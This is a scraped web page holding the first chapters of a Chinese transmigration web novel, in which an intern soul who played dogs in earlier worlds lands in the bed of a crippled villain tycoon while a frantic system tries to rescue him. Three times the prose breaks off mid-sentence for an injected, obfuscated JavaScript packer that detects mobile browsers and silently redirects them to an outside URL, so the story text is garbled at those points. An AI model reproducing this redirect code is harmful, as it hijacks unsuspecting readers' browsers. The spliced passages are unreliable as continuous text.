《小狗又被强养了![快穿]》 1. 贪婪的小骗子 「紧急呼叫!」 「重复,紧急呼叫!」 「编号S-009‘罪金权欲’世界,反派黑化值突破95%,世界崩坏风险极高!急需执行员立刻介入并搭建干预锚点。」 「速死部,狗血部,炮灰部……S009世界所有在岗人员,谁能顺利潜入?任何方式!任何身份!保镖、秘书、保洁、园丁或者收破烂的也都可以……救一救啊各位,听到请立刻回复!」 …… 穿书局。 世界线波动实时监测大厅。 系统在死寂的公共频道绝望摇人,核心处理器转得冒烟,焦头烂额地一遍遍重复呼叫,不得不暂时屏蔽了角落里某个一直在欢快闪烁、试图发言的小狗头像。 ……祝缭。 严格来说,也算是穿书局员工。 系统带过最新的灵魂宿主,死亡时还差三天满十七岁,懵懵懂懂签了劳务合同,之后就一直在各个部门实习。 出于对未成年实习试用期员工的特别关怀,为了避免情感受损,在这之前,祝缭被分配的通常都是最快乐温馨的任务: 负责扮演各类狗血故事里最轻松、无忧无虑、却又颇具存在感,主角某种意义上不可或缺的家人,甚至可能比家人更忠诚、可爱、珍贵的特殊的“重要存在”。 从某个角度来讲……祝缭的实习履历可谓相当丰富和耀眼。 毕竟他全权负责过多个推动关键剧情的重大角色:金毛、边牧、萨摩耶、哈士奇、灵缇、比格……甚至还在某个玄幻世界客串过一口能吞掉半个月亮的犬神。演技逼真,情感真挚,好评率高达99.99%。 祝缭现在的确也正位于S-009世界。 他满十八岁了。 这也是祝缭“死后”第一次,真正意义上地,重新做回“人”。 系统千挑万选,给他挑了个最不起眼、存在感最低、几乎没有剧情的简单角色:某个富二代的龙套背景板小跟班。只要安安分分地度过大学四年,苟到故事结局,就能稳稳当当顺利拿到转正资格。 多完美,多简单,多轻松,闭着眼睛都不可能出错。 系统当时觉得自己简直是个天才。 按理说也应当是这样,系统每天都会收到祝缭话痨般的海量私信汇报,通常是又发现了什么好吃、什么好玩,这本该是场相当平平无奇但吵闹的入职考核。 如果……那个毛绒绒的小狗头像,能给它省点心,忍住不在这种焦头烂额的危急时刻,又一次顽强地、欢快地、坚持不懈地,非要在S-009通讯频道的紧急聊天室角落蹦跶起来的话。 还有一条紧跟着弹出的文字信息:「我我我!by祝缭」 系统的虚拟黑眼圈更深了:「小孩不要添乱!你的身份是寄养在男二号徐序家的远方表弟,借徐家的关系蹭进了大学的附属艺术学院混学历,目标是平安苟到毕业,不要再挂科了就行!」 「你现在完全是靠徐家施舍的那一点资源活着,而你的靠山徐家只是二流豪门——徐序配不上他暗恋的主角温时雨,所以自惭形秽,现在已经黯然退场了。」 「温时雨的父亲想方设法想把他塞给傅晟,就是为了讨好傅家,拿到一个和傅氏子公司的合作机会。」 「至于反派,我们说的这个傅沉檀,是隐身在幕后、操纵整个傅家的真正大佬……非常危险!这么分析能听得懂吗?」 …… …… 五秒后。 祝缭打字回复:「嗯嗯。」 系统:「……」 嗯嗯是什么意思?! 系统觉得自己快要短路了:「你听懂了吗?听懂了就乖乖待在学校,好好复习,千万不要再挂科了,我这边处理完危机再去看你……」 一阵窸窸窣窣的布料摩擦声,祝缭开了麦,电流声里冒出的声音清脆、干净,有种与此刻氛围格格不入的轻快,带着点刚醒的软软鼻音。 头像气泡也冒出来,少年皮肤白皙得快要透明,浅金色的头发有些凌乱地翘着,深栗色的眼睛温柔又活泼,圆而明亮,像是湿漉的杏仁。 “嗯嗯。”祝缭穿着件过大的衬衫,抱着超大号枕头举手,“听懂了,傅沉檀是反派,对世界有危险,需要治疗。” 「……可以这么粗暴理解,但我们得有计划,有方案,对吧?」 系统深吸一口数据空气,循循善诱,打算让这个新过头了的宿主知难而退:「所以,你打算怎么接近傅沉檀?」 「你知道他的行程表,还是能黑进他的私人电脑,买通他的私人管家?」 「你能从下水道或者通风管安全地潜入他的住所不被套麻袋扔进清江湾喂鱼吗?」 傅沉檀这人难搞得很,尤其是车祸残废坐了轮椅以后,整个人深居简出,极少露面,几乎没几个人知道他的确切踪迹。 更令人发指的是甚至连个情人也没有! 所有高级资深员工都无从下手,最接近成功的一个穿成了他堂兄的女儿的男朋友的弟弟,想要打听到一点消息,还没来得及接近就被丢出去了! “没有行程表呀,也不认识管家。”祝缭的大半张脸都埋在枕头里,讲话闷闷软软的,像小狗哼唧,“但是,我在他床上。” 「……」 「?????」 系统凝固了几秒,突然弹起,变了调的电子音啸叫:「坐标!立刻!马上!发送你的精确坐标然后待在原地别动什么都别干!!」 「你还小知道吗!你还小!!床,不可以!」 它扑向装备库,腾起的数据烟尘里远远传来崩溃的咆哮:「手铐!电击棒!强效防狼喷雾!他大爷的我还要带什么?对,镇定剂!给大象扎的那种超剂量!!!」 …… 三分钟后。 某座隐于半山腰密林间的豪华别墅。 空气微微波动,一个黑布蒙面、鬼鬼祟祟,背着比自己大十倍的巨大包袱的迷你绒毛球,凭空出现在客厅。 熟悉的、出现在各种狗血故事里的,十分标准的冰冷而空旷的华美客厅。 没开灯,一片漆黑。 只有卧室漏出的一线灯光洒在坚硬的大理石地板上。 系统经验丰富,一眼就锁定了目标,悄无声息地飘过去,从包袱里吃力地拽出一副闪着寒光的迷你手铐,又拔-出一个小巧的漆黑电击棒,最后挖出一个画着骷髅标识的超大号绿色防狼喷雾罐。 它深吸一口气,团团转了几个圈,横下心猛地加速冲刺狠狠撞开门! ……什么也没发生。 没有折磨或是囚禁,没有奇怪的道具,没有预想中的描述出来这一章就要被锁掉的任何场景。 卧室同样大得近乎空荡,冰冷、刻板、不近人情,落地窗被厚重的遮光帘挡得严实。床上,穿着不合身白衬衫的少年正抱着游戏机,舒舒服服窝在一堆蓬松的羽绒枕头和羽绒被里。 祝缭。 只有他一个。 系统紧张地冲过去把他护到身后,环顾四周,电击棒滋滋冒着蓝光:「傅沉檀呢?!」 「还没下班呀。」祝缭放下游戏机,分过去半袋青瓜味薯片,「他们霸总这行好像很辛苦的……系统前辈,你要不要去洗澡?浴室超级大,可以唱歌,浴缸可以游泳哦。」 系统:「……」它不是来洗澡的! 系统依然保持警戒地收起武器,幻化出小黑胳膊,疲倦地揉了揉绒毛球里的太阳穴:「现在,汇报。」 「你。」它把祝缭的薯片袋子戳得哗啦哗啦响,「怎么会在这个世界大反派的床上?还有,员工守则第七条,不得擅自与任何关键角色发生未报备的亲密关系——你这是严重违规,要扣三个小时的零食,把薯片交出来!」 「不是擅自发生的。」祝缭眨了眨眼睛,立刻收回薯片牢牢抱住,「是傅晟让我来的。」 系统:「……」 系统:「?」 傅晟? 主角温时雨那个渣爹想尽办法把他送去讨好巴结攀附傅家的那个傅晟?? “他是我的一个感情链接对象。”祝缭眼睛亮亮地点头,“他求我帮忙,说叔叔身体不好,坐轮椅,一个人很孤单,需要人照顾……正好我也不想总待在徐家,所以就答应过来啦。” 「等、等等等等。」系统怀疑自己的数据库被什么病毒啃了,「你之前提交的初期世界线融入报告里,潜在的感情链接对象不是叫谢泽谦吗?那个音乐世家的小变态,弹钢琴的!」 “谢泽谦也是呀。”祝缭点头,似乎不觉得这里面有什么问题,反而趴在柔软的大床上,认真给系统解释,“他们两个不一样,谢泽谦帅,声音还好听,弹钢琴的样子特别好看,还给我写歌。但是傅晟开车开得超级快,好玩,请我吃好吃的,送我好看的衣服和游戏机,还有肌肉。” 系统不存在的手抱住了不存在的脑袋:「…………」 它试图挖掉这段数据记录,不着痕迹地退出这个屋子,装成从来就没听到过、从来就不知道他的宿主正在酣畅淋漓、浑然天成、理直气壮的脚踏两条船。 可惜,它没成功。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096615|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统还在绝望,祝缭身下卷成一团的被子里忽然嗡嗡震动起来。 祝缭立刻扯了几张湿巾,把手指一根一根仔细擦干净,整个人钻进羽绒被里翻了半天,终于挖出拴着一大串风格迥异、叮当作响的手机链的手机。 他看了一眼屏幕,眼睛倏地亮起来,脸上露出依赖又柔软的惊喜笑容。 “是徐序哥!”他对系统悄声说,飞快接了电话,声音变得像是软乎乎的琥珀糖,“徐序哥?嗯,我很好呀……今天吃了薯片!还有好多冰淇淋,开心!嗯,嗯,我知道啦,放心吧,你也是……是哦,天好冷了,我想要那个蓝白色的羽绒服,很厚的,从头罩到脚的……” 系统沉默着,干巴巴地,向后倒在蓬松过头的羽绒被里。 三条船。 虽说都在暧昧期、没有确定关系……但那也是货真价实明明白白的三条船。 它刚忍不住侵入祝缭的手机看了看,祝缭说的“那个蓝白色很厚的羽绒服”,是某个顶奢品牌今年最新出的设计师限量款。 徐家的确有些财力,徐序也和同学创立了工作室,小有成就。对徐序来说,买这样一件羽绒服并不算太吃力……但也绝不是一件可以随手送出的“小礼物”。 祝缭居然就这么自然而然、毫无顾忌、完全不觉得有任何问题地说了出来。 而现在,蜷在软乎乎被子里的少年抱着手机,深栗色的眼睛弯成月牙,浅金色的头发蹭得乱糟糟,开开心心继续聊着天。他不知道自己这么做有什么不对,毕竟前二十个世界,都可以蹭蹭全世界的人,被所有喜欢的人随便摸摸头的。 …… 系统瘫在床上,调出祝缭在本世界的的任务记录,切换到冷酷的上帝视角回溯分析。 不出所料地,它得到了一部分“残酷的真相”—— 这是一场充满了恶意的蓄谋报复。 谢泽谦是个为了艺术疯魔的偏执变态。 和祝缭在一起,只是因为谢泽谦无意中发现,祝缭身上有种独特的、能激发他灵感的“特殊感觉”,所以他对祝缭也时冷时热、忽远忽近,肆无忌惮地施加情感暴力,借此刺激他的所谓“创作欲”。 傅晟对祝缭本来也只是玩玩的态度。 他和谢泽谦是发小,也是互别苗头的死对头,所以谢泽谦挑中的“玩具”,他当然也要抢来“摆弄一番”、“尝尝滋味”。 现在,傅晟知道了叫他无法接受、几乎是世界观炸裂的真相: 祝缭不只撩了他一个。 还有其他“备胎”——何止是三条船,祝缭的手机里就有十几个亲密好友,那些他们以为“晾着祝缭”、“吊着祝缭”的时间里,祝缭还忙着和十几个人聊天,忙得飞起,根本回不过来。 对心高气傲、从来都是被捧着的傅晟来说,这简直是叫他发疯、无法忍受的奇耻大辱。 他认定了,祝缭是个段位极高的绿茶,眼里只有钱、无所不用的心机捞子。 对这种人最好的报复……就是让他死于花心和贪婪。 于是,傅晟装作不经意,透露了自己的叔叔“多金、残疾、内心孤独需要陪伴”。祝缭果然上钩,一口答应来看看,接着就被打包送到了傅沉檀这座位于半山腰、人迹罕至的别墅——要知道,傅沉檀这人心狠手辣、从不留情,以祝缭那点幼稚的手段,不出一个星期,这个贪婪的小骗子就会被毫不留情地剥光了丢到该去的地方。 系统看得处理器发麻,又恼火又紧张,一把拽起刚依依不舍挂断电话的祝缭:「快快!别管什么黑化不黑化的了,先离开这个鬼地方,出去了再说……」 祝缭眨了眨眼睛,刚“好哦”了一声,就被大力拽下了床。 少年赤着脚站在深灰色的长绒地毯上,衬衫遮到了大腿根,两条腿细长笔直,只是单薄得过了头,皮肤在过强的灯光下也苍白得近乎透明。 仅仅是这一点大动作,就让他下意识地张口轻轻吸气,嘴唇也有点泛青。 「对不起对不起!我忘了!」系统连忙给他揉胸口,「还难受吗?」 这个和祝缭同名的角色是弃儿,因为严重的先天性心脏病,险些被父母卖了,是徐序牵着他的冰冷的小手,把他带回了家,给了他一个遮风挡雨的地方。 祝缭低下头,深栗色的眼睛又软软弯起来。他摇了摇头,开口想说些什么,忽然停顿。 系统也停下动作。 智能锁验证通过的机械提示音。 皮鞋鞋底,踩在大理石地砖上,由远及近…… 门外传来了不轻不重的脚步声。 2. 不对 系统一秒内掏出了八种致命武器。 「你不要动,藏好!我先冲出去绊他一个跟头!然后狠狠电他后脑勺,扎他一百根麻醉针,你用这个最大号的喷雾喷他的眼睛和鼻子……祝缭?」 「祝缭??」 系统举着微型冲锋麻醉枪:「我在说正事!逃命的事!你有没有在听?!」 它的宿主显然没有在听。 祝缭根本没参与这场关乎生死存亡的紧急作战会议。 少年赤着脚,过大的衬衫沿着肩膀往下滑了一半,他却浑然不觉,正把耳朵紧紧贴在卧室冰凉的门板上,屏息凝神,全神贯注地捕捉着外面的细微动静。 几秒后。 他的肩膀一垮,脸上露出显而易见的失望,没精打采,闷闷地小声叹气:“唉。” 系统:「???」 唉什么唉?? “不是傅沉檀。”祝缭的脑袋也耷拉下来,踢踢踏踏地磨蹭回床上,语气带了点被骗的小抱怨,“傅沉檀是坐轮椅的,走路没有声音,这个用脚走路,是安叔。” 他被送来傅沉檀的别墅三天了。 傅沉檀也夜不归宿三天了。 「……不是他才好吧!」系统顾不上问“安叔”又是哪路神仙,扑过去用小黑手拼命摇晃他的一撮翘起来的浅金色头发,试图把一点危机感摇进去,「清醒一点!你真想和那种黑化值超过95%、冷酷无情、穷凶极恶,随时可能把世界搞崩的反派大佬单独呆一晚上吗?!」 “可是晚上要玩啊。”祝缭像一滩被太阳晒化的棉花糖,完全失去了力气,软软陷进蓬松柔软的被子里,怎么都拉不起来,“没人陪我玩,好无聊的。没人,没人……” 系统眼睁睁看着他一边念咒一边熟练地拽住羽绒被的一角,把自己慢吞吞裹了进去,只露出一头毛绒绒的浅金色短发,和那双写满了“不开心”的、湿漉漉的深栗色杏仁眼睛。 祝缭继续在被子里蛄蛹了几下,终于把脑袋也裹进去,找到了最舒服的姿势,团成了一个拒绝交流的大号被子球。 家、里、没、人。 祝缭不接受。 在之前的二十几个快乐实习世界里,祝缭的作息都非常规律和充实: 睡前的时光是珍贵、神圣而不可侵犯的——它由至关重要的玩耍时间、点心时间和“全家共度美好时光”共同构成。 零食,玩具,人,缺一不可,才能构成一个完美的夜晚。 就连他获得了“拆迁之王”成就的当比格的那个世界,拆了两艘星舰,也从没有「居然一个人都不陪他玩」这种荒唐道理。 系统对着床上的那一大团,核心处理器烫得快冒烟,还没来得及出声,那由远及近的脚步声已经停在了门外,紧接着,门把手缓缓转动。 “咔哒。” 门被推开。 祝缭不为所动。 门外的人迈进来了一条腿。 祝缭严严实实裹在被子球里,专心致志充当蜂蜜夹心馅,假装自己不存在。 系统被满屏飙红的「高危!极高危!非战斗人员迅速撤离!」警报吓得发毛,玩命刨开被子团也硬蹭着挤进去。它紧挨着祝缭温热的脖颈,这才战战兢兢、心有余悸地举起幻化出的微型望远镜。 进来的人穿着挺括的黑色中山装,银发梳理得一丝不苟,面容苍老,眼神却锐利雪亮。 他站在门口,姿势恭谨,周身却散发着在顶级豪门深处浸润数十年,经手处理了无数见不得光的隐秘、见过无数复杂腌臜才能淬炼出的严谨、淡漠与疏离。 系统一眼就知道他是谁。 「目标识别:安崇(安叔)」 「身份:傅氏的老管家,服侍傅家超过四十年,傅沉檀最信任的心腹与影子(没有之一)。手段不详,出身背景成谜,实际掌管傅氏大量‘灰色关系网’,专门负责处理各类‘脏事’。」 「备注:傅晟等小辈对其极为畏惧,尊称“安叔”,丝毫不敢造次。」 “祝缭少爷。” 安崇并未踏入卧室,对床上那团圆咕隆咚的超大号被子球也似乎视而不见:“宵夜和热牛奶已备好,先生今晚有跨国视频会议,归期未定,您请自便。” 说完,他将手中盛放着热牛奶和几碟精致点心的木质托盘轻轻放在矮几上,就要转身离开。 ……自便! 这两个字像是有魔力,瞬间穿透了羽绒被,击中了无聊到开始长蘑菇的小狗灵魂。 被子卷里,有双深栗色的眼睛倏地亮了起来。 祝缭已经来了三天,这三天里,安崇每天准时出现,给他送来精心配比的食物、合身的衣服,也满足他想要的饮料、零食、玩具,除此之外,从没有任何多余的眼神或言语。 但刚才安崇说了“自便”! 这个美妙的词语,在祝缭二十几个任务世界构建起的丰富词库里,可以被毫无障碍、顺理成章、理所当然地翻译成「可以出去玩」! 祝缭几乎是立刻飞快地掀开了被子,在床上轻轻弹了弹,浅金色的头发蹭得乱糟糟,白皙的脸颊上还带着被热气闷出的淡红:“安叔!我能去找傅叔叔吗?” 安崇的脚步不着痕迹地一顿,那几乎已经完成的转身动作也被打断 他缓缓地、完全地转过身。 苍老锐利的眼睛盯住这个裹着被子,头发乱七八糟的少年,银边眼镜后的眼睛微微眯起,透出某种剖皮拆骨的、足以让绝大多数心怀鬼胎者腿软的冰冷审视。 他在衡量。 衡量这个被当成玩物送来的少年,突然提出这样胆大包天、简直不要命的要求背后,可能隐藏的目的、用意与别有用心。 ……他当然衡量不出来。 别说安崇,系统隐形贴在祝缭脖子边上,已经快炸成了真正的绒毛球,在狂跑了十几条冷静代码,才终于忍住了没变出小黑手去捂祝缭的嘴,绝望地得出结论。 祝缭根本就没有目的、没有用意、没有用心。 祝缭此刻的脑电波,纯粹,明亮,活泼,充满了无比积极的快乐跃动,翻译过来只有三个不断刷屏的闪闪发光的大字: 出!! 去!! 玩!!! 安崇那深不见底的剖析目光,在这张脸上停留了足有近一分钟,才缓缓开口:“……先生事务繁忙,不见外客。” 他的声音听不出喜怒,语气依然是几十年如一日的、滴水不漏的刻板与规矩。 “我不是外客呀。”祝缭眨了眨那双圆而明亮的深栗色眼睛,继续为“出去玩”这个伟大目标进行不懈的努力,“我都住在这里了,是来陪傅叔叔的。” 他的手机里还有人可以作证:“傅晟说叔叔一个人孤单,需要人陪。” ……「傅晟」 系统敏锐地监测到,这个名字落在安崇的耳朵里,让这位深不可测的管家眼中闪过了一瞬几乎不屑于隐藏的厌恶冰冷。 傅晟其实是傅沉檀的外甥。 亲外甥。 傅家这一代有兄妹三个,傅沉檀是次子,十几岁就因为车祸留下了终身残疾,远走海外,本来已经无意于家族纷争。 可后来傅家内斗愈演愈烈,几乎分崩离析,他的兄长、当时掌权的家主被人谋害身亡。他紧急赶回,借安崇助力,以雷霆手段稳定局势,杀鸡儆猴,在一片血雨腥风里悍然收归了所有权力……偏偏。 偏偏他的亲妹妹,被那个处心积虑的入赘的丈夫哄着、骗着、蛊惑着,恨他。 帮着外人往死里害他。 他亲妹妹的儿子傅晟,也学了那一套……找了只据说“利欲熏心”、“贪婪”、“花心”、“拼命攀高枝往上爬”的花蝴蝶送给他。 傅晟并不清楚,他的“绝妙计划”早就被傅沉檀知道得一清二楚——他不止是想报复祝缭,更是想借这个机会,对傅沉檀下手。只要祝缭稍微能有本事撩上点傅沉檀, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096616|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就拉上徐序,连忽悠带骗地哄祝缭下点毒、弄点手段,有的是机会让傅沉檀在阴沟里翻船。 安崇看着那双深栗色的、湿漉欢快的明亮眼睛,多年练就的识人术似乎出了差错,他看不穿这孩子的任何动机。 要么是少年的心机深沉到了恐怖的地步,已经足以骗过他的眼睛。 要么…… “先生在处理要事。” 安崇垂下视线,他最终只是不带感情地、冷静地重复了一遍:“祝缭少爷如果无聊,别墅地下有影音室,三层有书房,等明天阳光好些,也可去花园散步,但请勿擅自离开主宅范围。夜晚寒冷,宵夜请趁热用。” 说完,他微微颔首,不再给祝缭继续请求的机会,也有意不再去看那双一点点沮丧地安静下来、直至被失落全然浸没的深栗色眼睛。 门被合上。 脚步由近及远,比来时更快了几分,似乎要刻意避免什么,声音迅速远去。 祝缭愣了一会儿。 系统迟疑着飘过去,探出小黑手,戳了戳他。 “人。”祝缭轻轻吸了下鼻子,抱着膝盖,慢吞吞、难过地蜷起来,声音闷闷的,“没有了。” 出去玩……也没有了。 他在前二十几个快乐单纯的实习世界里,系统保护过度,生怕他因为长时间独处留下什么心理创伤,把陪伴缺失的极限都设定成了72个小时。 一旦超过这个时间,就会自动触发新手保护程序,暂时将他的意识抽离——留下的躯壳会根据逻辑,自动表现出相应的身体衰弱:低烧、昏睡,或者是病倒后的浅昏迷。 如果后续不能尽快修正为非独处状态、不能及时恢复足够质量的陪伴与互动,就会触发更彻底的永久退出机制。 也就是「角色死亡」。 幸好这个世界任务性质变化,这种过于机械的保护机制已经提前关闭了……嗯???? 「不对不对不对这个保护机制怎么还在!权限没有修改?漏洞!BUG!还是我后台没更新??」系统叮呤咣啷狂翻虚拟程序匣,「不不不不对!」 祝缭的任务后台,虚拟屏幕上,一个半透明的倒计时窗口悄然浮现,鲜红的数字冷酷无情,正不容阻拦地无声跳动。 【陪伴缺失临界值:71:58:39】 【71:58:40】 【71:58:41】 「撑住!祝缭,我们这就翻窗户出去!」系统急得语无伦次,幻化出一大堆小黑手,试图把失落到缓缓融化的小狗棉花糖重新捏起来,「带你去找人!傅晟!徐序!谢泽谦!振作起来!实在不行还有你手机里那十五条船……」 晚了一步。 在房间角落,那个造型优雅、宛若艺术品的雕鸮瞳孔深处,微不可察的红光闪烁,沉默地将一切纳入摄像头中。 祝缭刚摇摇晃晃、软绵绵地走到窗边,手指摸到冰凉的窗户,还没来得及用力。 系统听见,他轻轻地、带着点困惑地“啊哦”了一声。 那声音很茫然,仿佛只是不小心犯了一点小错,碰掉了什么东西。 …… 同一时刻。 罪金城。 中心城区,摩天大厦顶层,俯瞰整座城市灯火的独立办公区内。 本来靠在那台价格不菲的定制电动轮椅里的男人,正心不在焉地翻阅财报、分心听着安崇汇报,似乎忽然觉察到了什么,动作微不可察地一顿。 他毫无预兆地抬起眼。 视线越过宽大的实木办公桌,落在角落,一个相当不起眼的监控分屏上。 监控画面里,那个被安崇拒绝后显得蔫头耷脑的少年,居然胆大包天到想翻窗户逃走——他本来冷眼旁观,却看见那些的手指从窗框软软滑落,少年毫无预兆,像是被绊了一下,居然就这样倒了下去。 悄无声息跌在柔软的长绒地毯上。 蜷缩着,一动不动了。 3. 太好了都是人 搭在漆黑轮椅扶手上的手指抬了下。 安崇站在阴影里,也像是座人形的雕像,平稳到刻板的声音仍在继续:“……傅晟少爷是在两个月前,十一月九号,通过‘浪速’俱乐部的一次私人聚会,正式接触到了祝缭。” 祝缭那份不算薄的资料,就摆在傅沉檀手边的黑胡桃木桌面上。 不算薄,完全是因为「社会关系」这一部分所包含的内容……实在过于丰富,大概占了整份资料接近五分之四的篇幅。 至于祝缭本人的信息,则相当简单、简单到乏善可陈。 十九岁。 目前就读于S大附属艺术学院摄影系,合作办学项目,挂名学籍。实际出勤率极低,成绩堪忧,毕业前景渺茫。 十一岁时,因查出严重的先天性心脏病,小祝缭一度险遭亲生父母遗弃,幸而被徐家现任家主次子徐序出面收养,带回徐家,陪伴患有中度抑郁症的女主人。 徐家为其支付学费及一切生活开支,从公开可查信息看,物质供应似乎颇为充裕,比起被苛刻教养、严厉要求,早早就需要自行负担学费的徐序,甚至堪称纵容 而在校内外的社交活动方面…… 「极为活跃」。 安崇的声音在这里稍作停顿。 他留意到,傅沉檀已经放下了那份打发无聊的财报,视线落在了办公桌的另一侧,那个散发着幽幽蓝光的监控屏幕上。 画面里,浅金色短发的少年依旧蜷在窗边的地毯上,一动不动,像个被随手丢在那里并遗忘的、柔软的玩具人偶。 安崇询问:“先生?” “没事。”傅沉檀示意他继续,“他怎么了,不舒服?” 安崇的视线也落向监控画面,他罕见地停顿了下,才斟酌着回答:“大概……是心情低落,来陪伴您的请求被驳回后,他很沮丧。” 安崇也是在过去的七十二小时里,慢慢接受、并试图常态化这个认知的——特别沮丧的时候,祝缭就会以一种近乎“融化”或者“坍塌”的方式陷进沙发、床铺或者任何一个足够柔软的平面里。 又或是找个安静的墙角,抱着膝盖,只留给外界一个散发着无比直白且鲜明易懂的“超伤心”、“超难过”、“快问我为什么不高兴”气息的后背和后脑勺。 所以……趴在地毯上,大概也是现在的年轻人表达“极度失落”、“伤心欲绝”的某种……新潮方式? 活了大半辈子的安管家这样猜测。 “他乖的。”不知道出于什么,安崇又补充,带上了连他自己都无法理解的某种「褒扬」语气,“自己待着,不弄坏东西,也不吵。” 而且也很好解决。 通常来说,只要撕开新的零食袋子,或者递过去一大碗冰淇淋,就可以迅速消除这种负面状态。 “哦。”傅沉檀不置可否地应了一声,看了一会儿监控画面,“叫几个医生过去,按加班补助,报给医院。” 傅氏在医疗领域本来并无涉足,是傅沉檀回归之后,找准时机,悍然出手收购了一家经营不善但资质极佳的私立医院,顺带绑了几家眼看就要破产清算的医疗器械供应商——这一次堪称豪赌的并购,让他的个人资产直接翻了数百倍。 如今,医疗产业已成为傅氏商业版图中最为优质的资产之一,也是他手中一张无人能撼动的隐形王牌。 “是。”安崇没有多说半个字,立刻放下文件夹,走到电话旁,开始低声联络,安排应急医疗团队即刻派人过去查看。 傅沉檀伸手,拿起那份属于祝缭的资料。 属于祝缭本人的、能通过常规手段查到的信息少得可怜。 只有薄薄的几页纸。 内容模糊得简直称得上刻意,显然是被人刻意隐藏过了——只知道有严重的心脏病,病种不明、病史不明,治疗经历和现状一概含糊不清,在徐家的生活状态,也同样语焉不详。 至于剩下的,占据了绝大部分篇幅的厚厚一沓,全是他的“社会关系”。 那不是一个少年该有的交际圈,更像是一张复杂、危险、被权欲泡透了的,浸染着无数贪婪与算计野望的网。 …… 十七岁。 祝缭是十七岁开始跟着谢泽谦的。 那段时间,徐序和同学创办的美术工作室遭人下套,策划案泄露、主笔毫无预兆单飞,直接导致他们最重要的一个项目可能延迟交付,违约金堪称天价,连徐家也未必能轻松体面地兜底。 而那个项目的甲方,就是谢泽谦。 徐家并不算什么值得在意的存在,只不过是个替艺术圈提供服务的外包商,无足轻重。谢家则不同,是底蕴深厚、地位超然的音乐世家。 谢泽谦和徐序同龄,却是被整个谢家寄予厚望、倾力培养,前途无量的未来之星。 两个人的境遇,云泥之别。 没人确切知道那段时间里具体发生了什么,只知道不久之后,祝缭就开始频繁出现在谢泽谦身边。 至于那笔足以压垮徐序的违约金,再也无人提起,仿佛从未存在过。 根据后续的记录,这段关系呈现出一种堪称病态的扭曲。 谢泽谦对祝缭的态度是极端的忽冷忽热——热的时候,几乎把祝缭圈在身边,同吃同住、形影不离。在他的个人社交账号上,一度充斥着与祝缭的合影,谢泽谦带着祝缭,乘坐私人游艇出海、坐奢华观光列车,乘坐头等舱进行奢华的环球旅行……会灵感迸发写“给他的曲子”,并在社交媒体上毫不掩饰那份专注与痴迷,一度甚至引来了部分偏激粉丝的嫉恨。 但谢泽谦的“冷”来得也同样毫无预兆。 谢泽谦会在两个人最亲密、最如胶似漆的时候,突然毫无缘由地把祝缭彻底抛到一边,不联络,不见面,甚至在公共场合像对空气一样无视忽略。 谢泽谦把这称为“冷静期”。 他十分满意这样的周期,这种情感刺激与剥夺,可以有效激发他产生新的灵感、创作出更具层次和深度的作品。 傅晟就是在这个阶段“乘虚而入”的。 傅晟对身边人声称,他对祝缭「毫无兴趣」。 他的原话是“谢泽谦的玩具,我玩玩怎么了?”、“又不是什么金贵东西。”、“坏了就赔他一个更漂亮的。” 话是这么说。 资料冰冷而客观地指出,傅晟接下来的行为,似乎并不完全符合他的「原话」。 祝缭对速度感与新鲜体验表现出了异乎寻常的兴趣,于是傅晟动用了名下三台超跑,连续一周包下环山竞速公路跑道,甚至亲自骑重型机车带他跑山,号称是“想看小病秧子吓尿裤子”。 祝缭半夜发烧,迷迷糊糊想喝一家极为偏僻的私房手作奶茶,傅晟骑着摩托穿过大半个城区,把店老板砸醒,买回了一大桶。 此外,傅晟为其购买的联名最新款衣物、球鞋、配饰,限量版游戏主机、数码相机、智能眼镜、无人机,再加上频繁出入高档餐饮和高端娱乐场所……开销已逾七位数。 据部分边缘知情人透露,傅晟甚至为了祝缭和谢泽谦大吵过几次,一度险些动手。 …… 所以。 知道了祝缭另外的那十五页“社会关系”,傅晟才会破防到这种发疯的地步,失去理智,不惜策划出如此恶毒的报复。 傅沉檀的视线从手中的资料上抬起,瞥向已经空了的监控分屏。 安崇似乎有话要说。 “先生。”片刻后,安崇回到他身后,低声汇报,“医疗团队已经对祝缭做了初步检查,存在心率过缓、体温过低的问题,整体生命体征偏弱。但……值得注意的是,在医护人员抵达、人醒过来之后,各项指标就出现了奇迹般的明显好转。” 他顿了一下,继续说:“为稳妥起见,医疗团队已经把人带去了我们旗下的私立医院,准备做更详细的全身检查。” 傅沉檀“嗯”了一声,示意知道了。 安崇停顿了几秒,似乎在斟酌接下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096617|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的用词,过了片刻才略显艰难地补充:“不过……我们的人,在医院,遇到了傅晟少爷。” 傅沉檀抬起眼。 ……是谁也无法预料的巧合。 安崇垂着手站在原地,第一次觉得,接下来要转述的消息内容,实在有些难以平铺直叙地说出口。 